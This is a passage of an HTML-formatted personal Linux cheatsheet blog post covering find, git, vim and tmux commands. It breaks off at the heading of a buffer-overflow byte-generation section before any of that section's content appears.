&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token output&quot;&gt;Find files in operating system, and ignore errors.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;find&lt;/span&gt; / &lt;span class=&quot;token parameter variable&quot;&gt;-name&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;*needle*&#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&lt;span class=&quot;token file-descriptor important&quot;&gt;2&lt;/span&gt;&amp;gt;&lt;/span&gt;/dev/null&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Find [f]iles or [d]irectories.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;find&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-type&lt;/span&gt; f &lt;span class=&quot;token parameter variable&quot;&gt;-name&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;*needle*&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;find&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-type&lt;/span&gt; d &lt;span class=&quot;token parameter variable&quot;&gt;-name&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;*needle*&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Find and run command on files. &#92;; is needed for `find` to know where to terminate.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;find&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-type&lt;/span&gt; f &lt;span class=&quot;token parameter variable&quot;&gt;-name&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;*complex*&#39;&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-exec&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;find&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-type&lt;/span&gt; f &lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-name&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;*complex*&#39;&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-or&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-name&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;query&#39;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-exec&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;du&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-h&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Other useful flags:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-mindepth N&lt;/code&gt;/&lt;code&gt;-maxdepth N&lt;/code&gt;: minimum/maximum recursion depth, e.g. &lt;code&gt;-maxdepth 1&lt;/code&gt; would only operate on files &lt;em&gt;directly&lt;/em&gt; within the current folder&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;git-gud&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/linux-cheatsheet/#git-gud&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; git gud&lt;/h2&gt;
&lt;p&gt;Git commands for completeness.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token output&quot;&gt;Make new branch.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; checkout &lt;span class=&quot;token parameter variable&quot;&gt;-b&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;name&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Checkout commits in tree before HEAD.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; checkout HEAD~1  &lt;span class=&quot;token comment&quot;&gt;# 1 commit before.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; checkout HEAD~10 &lt;span class=&quot;token comment&quot;&gt;# 10 commits before.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Checkout commit from parent.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; checkout HEAD^  &lt;span class=&quot;token comment&quot;&gt;# 1 commit before (from parent 1, base).&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; checkout HEAD^2 &lt;span class=&quot;token comment&quot;&gt;# 1 commit before (from parent 2, target).&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Store changes locally.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; stash&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; stash pop&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Clean edited files.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; reset &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;--hard&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;--hard removes unstaged files.&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;View changes.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;diff&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;less&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;diff&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;file&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# See change in specific file.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Jump through commits (to find, say, the cause of a bug).&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; bisect &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;start&lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt;reset&lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt;good&lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt;bad&lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt;skip&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;git tree&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token output&quot;&gt;Command-line git tree from git log.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; log &lt;span class=&quot;token parameter variable&quot;&gt;--graph&lt;/span&gt; --abbrev-commit &lt;span class=&quot;token parameter variable&quot;&gt;--decorate&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--format&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;format:&lt;span class=&quot;token string&quot;&gt;&#39;%C(bold blue)%h%C(reset) - %C(bold green)(%ar)%C(reset) %C(white)%s%C(reset) %C(dim white)- %an%C(reset)%C(bold yellow)%d%C(reset)&#39;&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--all&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;More detailed git-tree &lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; log &lt;span class=&quot;token parameter variable&quot;&gt;--graph&lt;/span&gt; --abbrev-commit &lt;span class=&quot;token parameter variable&quot;&gt;--decorate&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--format&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;format:&lt;span class=&quot;token string&quot;&gt;&#39;%C(bold blue)%h%C(reset) - %C(bold cyan)%aD%C(reset) %C(bold green)(%ar)%C(reset)%C(bold yellow)%d%C(reset)%n&#39;&lt;/span&gt;&#39;          %C&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;white&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;%s%C&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;reset&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; %C&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;dim white&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;- %an%C&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;reset&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&#39; &lt;span class=&quot;token parameter variable&quot;&gt;--all&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Add them as git aliases in ~/.gitconfig or script aliases in ~/.bashrc.&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;See https://stackoverflow.com/a/9074343/10239789.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Fun watch: &lt;a href=&quot;https://www.youtube.com/watch?v=aolI_Rz0ZqY&quot;&gt;So You Think You Know Git?&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;vim&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/linux-cheatsheet/#vim&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; vim&lt;/h2&gt;
&lt;p&gt;Haha. Nope.&lt;/p&gt;
&lt;p&gt;Not covering that here.&lt;/p&gt;
&lt;h3 id=&quot;how-to-exit-vim&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/linux-cheatsheet/#how-to-exit-vim&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; How to Exit Vim&lt;/h3&gt;
&lt;p&gt;Obligatory.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;:wq  &lt;span class=&quot;token comment&quot;&gt;# Write to file + exit.&lt;/span&gt;
:q&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;# Force exit.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Okay, that&#39;s enough vim.&lt;/p&gt;
&lt;h3 id=&quot;useful-things&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/linux-cheatsheet/#useful-things&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Useful Things&lt;/h3&gt;
&lt;p&gt;Set line numbers.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;:set number&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id=&quot;tmux&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/linux-cheatsheet/#tmux&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; tmux&lt;/h2&gt;
&lt;p&gt;Actually decently useful? This is not a substitute for a tmux tutorial/introduction, the main goal is to be a simple cheatsheet. Go learn it in 5 minutes.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token output&quot;&gt;Start a new tmux session.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;tmux&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Reuse a previous tmux session.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;tmux attach &lt;span class=&quot;token parameter variable&quot;&gt;-t&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;tmux attach &lt;span class=&quot;token parameter variable&quot;&gt;-t&lt;/span&gt; custom-name&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Must-know commands. (Note: &lt;code&gt;C-b&lt;/code&gt; is &lt;code&gt;Ctrl+b&lt;/code&gt;. &lt;code&gt;C-b d&lt;/code&gt; means hit &lt;code&gt;Ctrl+b&lt;/code&gt;, then press &lt;code&gt;d&lt;/code&gt;.)&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-language=&quot;tmux&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-user=&quot;user&quot; data-host=&quot;localhost&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-user=&quot;user&quot; data-host=&quot;localhost&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-user=&quot;user&quot; data-host=&quot;localhost&quot;&gt;&lt;/span&gt;&lt;span data-user=&quot;user&quot; data-host=&quot;localhost&quot;&gt;&lt;/span&gt;&lt;span data-user=&quot;user&quot; data-host=&quot;localhost&quot;&gt;&lt;/span&gt;&lt;span data-user=&quot;user&quot; data-host=&quot;localhost&quot;&gt;&lt;/span&gt;&lt;span data-user=&quot;user&quot; data-host=&quot;localhost&quot;&gt;&lt;/span&gt;&lt;span data-user=&quot;user&quot; data-host=&quot;localhost&quot;&gt;&lt;/span&gt;&lt;span data-user=&quot;user&quot; data-host=&quot;localhost&quot;&gt;&lt;/span&gt;&lt;span data-user=&quot;user&quot; data-host=&quot;localhost&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;C-b d       &lt;span class=&quot;token comment&quot;&gt;# Detach session (reconnect with tmux attach -t 0)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Navigate panes&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;C-b &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;up/down/left/right&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;C-b c       &lt;span class=&quot;token comment&quot;&gt;# New window&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;C-b n       &lt;span class=&quot;token comment&quot;&gt;# Next window&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;C-b p       &lt;span class=&quot;token comment&quot;&gt;# Previous window&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;C-b %       &lt;span class=&quot;token comment&quot;&gt;# Split pane (left/right)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;C-b &lt;span class=&quot;token string&quot;&gt;&quot;       # Split pane (up/down)&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;C-b x       &lt;span class=&quot;token comment&quot;&gt;# Close pane&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;C-b &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;       &lt;span class=&quot;token comment&quot;&gt;# Close window&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;C-b ?       &lt;span class=&quot;token comment&quot;&gt;# Help (common commands)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;tmux&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Useful commands.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-language=&quot;tmux&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-user=&quot;user&quot; data-host=&quot;localhost&quot;&gt;&lt;/span&gt;&lt;span data-user=&quot;user&quot; data-host=&quot;localhost&quot;&gt;&lt;/span&gt;&lt;span data-user=&quot;user&quot; data-host=&quot;localhost&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-user=&quot;user&quot; data-host=&quot;localhost&quot;&gt;&lt;/span&gt;&lt;span data-user=&quot;user&quot; data-host=&quot;localhost&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-user=&quot;user&quot; data-host=&quot;localhost&quot;&gt;&lt;/span&gt;&lt;span data-user=&quot;user&quot; data-host=&quot;localhost&quot;&gt;&lt;/span&gt;&lt;span data-user=&quot;user&quot; data-host=&quot;localhost&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-user=&quot;user&quot; data-host=&quot;localhost&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-user=&quot;user&quot; data-host=&quot;localhost&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;C-b &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;-9&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;   &lt;span class=&quot;token comment&quot;&gt;# Jump to window #0-9&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;C-b z       &lt;span class=&quot;token comment&quot;&gt;# Zoom/Unzoom pane (useful when needing to copy something with multiple lines)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;C-b ,       &lt;span class=&quot;token comment&quot;&gt;# Rename window&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Toggle preset pane layout&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;C-b alt-&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;-5&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;C-b space   &lt;span class=&quot;token comment&quot;&gt;# Cycle through preset layouts&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Copy mode&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;C-b &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;C-b page-up &lt;span class=&quot;token comment&quot;&gt;# For scrolling&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;C-c         &lt;span class=&quot;token comment&quot;&gt;# Exit copy mode (Ctrl+c)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Search output history (make sure you&#39;re in copy mode)&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;/&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Rename session (then use when tmux attach -t custom-name)&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;C-b :rename-session custom-name&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;tmux&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id=&quot;hacky-hack-hack&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/linux-cheatsheet/#hacky-hack-hack&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Hacky Hack Hack&lt;/h2&gt;
&lt;h3 id=&quot;generate-bytes&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/linux-cheatsheet/#generate-bytes&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Generate Bytes&lt;/h3&gt;
&lt;p&gt;Buffer overflow for fun and profit.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;echo&lt;/strong&gt;&lt;/p&gt;
